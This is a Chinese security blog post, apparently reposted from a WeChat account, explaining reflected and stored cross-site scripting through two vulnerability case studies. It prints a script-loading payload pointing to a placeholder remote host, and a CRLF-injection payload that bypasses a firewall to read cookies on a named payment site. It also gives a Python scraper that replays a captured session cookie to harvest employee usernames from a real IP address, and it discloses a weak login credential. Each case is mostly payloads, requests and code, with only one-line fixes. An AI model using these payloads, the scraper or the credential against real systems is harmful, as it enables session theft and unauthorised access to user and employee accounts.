XSS(Cross Site Scripting,跨站脚本攻击)是一类特殊的Web客户端脚本注入攻击手段,通常指攻击者通过“HTML注入”篡改了网页,插入恶意的脚本,从而在用户浏览网页时控制浏览器的一种攻击。
当应用程序发送给浏览器的页面中包含用户提供的数据,而这些数据没有经过适当的转义,或者在这些内容被显示在页面之前没有验证它们都是安全的,使得输入被视为浏览器中的动态内容,就会导致存在跨站脚本漏洞。
按照“数据是否保存在服务器”,XSS被分为:反射型XSS和存储型XSS。
1.简单测试脚本检测漏洞(XSS payload)
将payload作为用户输入参数提交测试,这些payload的目的是闭合html的标签,使浏览器弹窗。若服务器对请求参数没有过滤处理,即直接弹窗,那么包含有恶意代码的响应信息被浏览器直接解析执行,由此触发XSS漏洞,且误报率很低。
当然有些xss漏洞隐藏较深,并不能那么容易检测到,需要构造更加强大的payload绕过一些xss简单过滤。
2、xss攻击过程
在确定可注入的xss漏洞之后,诱使用户加载一个远程脚本,如将url的提交参数改为
“><script src=http://www.xxx.com/ec.js></script>
攻击者将真正的恶意负载写在这个远程脚本中,避免直接在url的参数里写入大量的js的代码,通过恶意脚本,进而控制用户的浏览器,达到攻击目的。
a. 反射型XSS:
服务器未对用户请求参数做任何编码或转义处理,直接将参数作为响应的一部分输出到页面中。反射型XSS是一次性的,很容易实施钓鱼攻击,即诱使被攻击者点击某条恶意链接就可触发漏洞。
案例:某讯财付通反射型XSS一枚(附绕过详细分析)
绕了几天都没搞定,请教了@mramydnei,一会他就bypass WAF,感谢M神的无私指导啊!顺便还学到了新思路!
学习了相关资料后发现的:
1. http://blog.bentkowski.info/2014/07/google-doodle-xss-actually-response.html
2. http://drops.wooyun.org/papers/2466
这是一个在微信手机端用的一个接口,用于拉取零钱明细,接口如下,在微信客户端里请求时传入的参数都会被替换成相应正确的参数,因此在微信里没有什么用,但测试后发现在浏览器端还是可以的:
https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a
返回:
< HTTP/1.1 200 OK
< Server: nginx/1.6.0
< Date: Sat, 30 Jan 2016 12:08:28 GMT
< Content-Type: text/html; charset=gbk
< Content-Length: 0
< Connection: keep-alive
< Cache-Control: no-cache, must-revalidate
< Set-Cookie: pass_ticket=a; Domain=wx.tenpay.com; Path=/; Expires=Sun, 31-Jan-2016 12:08:28 GMT
可以发现pass_ticket参数在Set-Cookie中,且值就等于a,接下来我试着插入
https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0d%0a%0d%0a<img src=1>
发现返回为空,不过这种类型的漏洞很好利用的原因在于我们可以在返回的头部中HTTP头部信息,因此试着加入Content-Length,就可以发现返回的内容里出现了img标签!
https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0d%0aContent-Length:60%0d%0a%0d%0a%3Cimg%20src=1%3E
返回内容如下:
< HTTP/1.1 200 OK
< Server: nginx/1.6.0
< Date: Sat, 30 Jan 2016 12:15:03 GMT
< Content-Type: text/html; charset=gbk
< Content-Length: 60
< Connection: keep-alive
< Cache-Control: no-cache, must-revalidate
< Set-Cookie: pass_ticket=a
<
<img src=1>; Domain=wx.tenpay.com; Path=/; Expires=Sun, 31-J
接下来就是关键的一个步骤,插入js代码了!不过这里有WAF,我花了两天的时间都绕不过去,PM @mramydnei 之后得到了他的强力支援,提供思路及bypass的例子:
大概原理就是:1.插入Content-Type更改response中的charset 2.选择一个字符集,保证该字符集中的某个字符或字符串 会被浏览器忽略(也可以是unicode transform) 3.将会被忽略的字符插入到被blacklist拦截的字符之间 4.done
https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=al%1B%28Jert%28document.domain%29%3E
(看到他的回复的时候,我感动得留下了泪水,那是我逝去的青春,“让你不好好学习!”)
有bypass WAF的方式之后,之后一切问题都变得简单了,用X-XSS-Protection:0关闭浏览器的XSS过滤,想执行什么的代码发现被拦截了就用M神的方式bypass。
最终的Payload:
https://wx.tenpay.com/cgi-bin/mmpayweb-bin/balanceuserrollbatch?exportkey=&pass_ticket=a%0D%0AContent-Length:120%0D%0AX-XSS-Protection:0%0D%0AContent-Type:text/html;%20charset=ISO-2022-JP%0D%0A%0D%0A%3Cimg%20src=x%20on%1B%28Jerror=%22al%1B%28Jert%28document.co%1B%28Jokie%29%22%3E
点击之后,弹Cookie
修复方案:
过滤CRLF
b. 存储型XSS
攻击者提供一个恶意负载输入并在后台保存一段时间,一旦用户访问含恶意程序的网页文件便形成有效攻击。富文本输入空间,都有存储型XSS的漏洞隐患,最严重可能导致XSS蠕虫。
案例:某航空某系统存储型XSS漏洞(已登录系统)
http://xxxxxx/SMS/
自愿报告出可直接插入xss
http://xxxxxxx/SMS/freeWill.json
成功打到cookies
虽然是内网直接外网加cookies即可
内部员工账号
爬取之
#coding=utf-8
import requests
import re
from lxml import etree
import time
import threading
import sys
sys.getdefaultencoding()
reload(sys)
sys.setdefaultencoding('UTF-8')
sys.getdefaultencoding()
def postcode(pageId):
url = "http://222.178.225.36:8083/SMS/queryCheckPerson.json"
head = {
'Host': '222.178.225.36:8083',
'Proxy-Connection': 'keep-alive',
'Content-Length': '71',
'Origin': 'http://222.178.225.36:8083',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept': '*/*',
'Referer': 'http://222.178.225.36:8083/SMS/choosePerson.json',
'Accept-Encoding': 'gzip,deflate',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'JSESSIONID******'
}
data= "start="+pageId+"&limit=15&sort=ID&dir=ASC&dept=&role=&userRealName=&workNumber="
proxy={'http':'127.0.0.1:8080'}
key = requests.post(url,headers=head,data=data,proxies=proxy)
#print key.headers
calc = key.text
num = re.findall('USERNAME":"(.*?)"}',calc,re.S)
print num
fp1 = open("C:UsersAdministratorDesktop\loginname.txt",'a')
for i in num:
fp1.write(''.join(i.split())+'n')
print 'page spider full'
print u'开始抓取'
count = 15
for i in range(0,48):
pageId = count
count += 15
postcode(str(count))
再爆破又获得一枚 但是权限不如盲打的高
rangxy/rangxy123
系统弱口令确实少了 经过wooyun检测
一些项目
修复方案:
1.过滤XSS
功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然fuzz不单单这点用途。)
不太符合的案例,但思路可借鉴:WooYun: 建站之星模糊测试实战之任意文件上传漏洞
可能会用的工具 —— spike
原文始发于微信公众号(LSCteam):业务安全漏洞挖掘——用户输入合规性(下)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论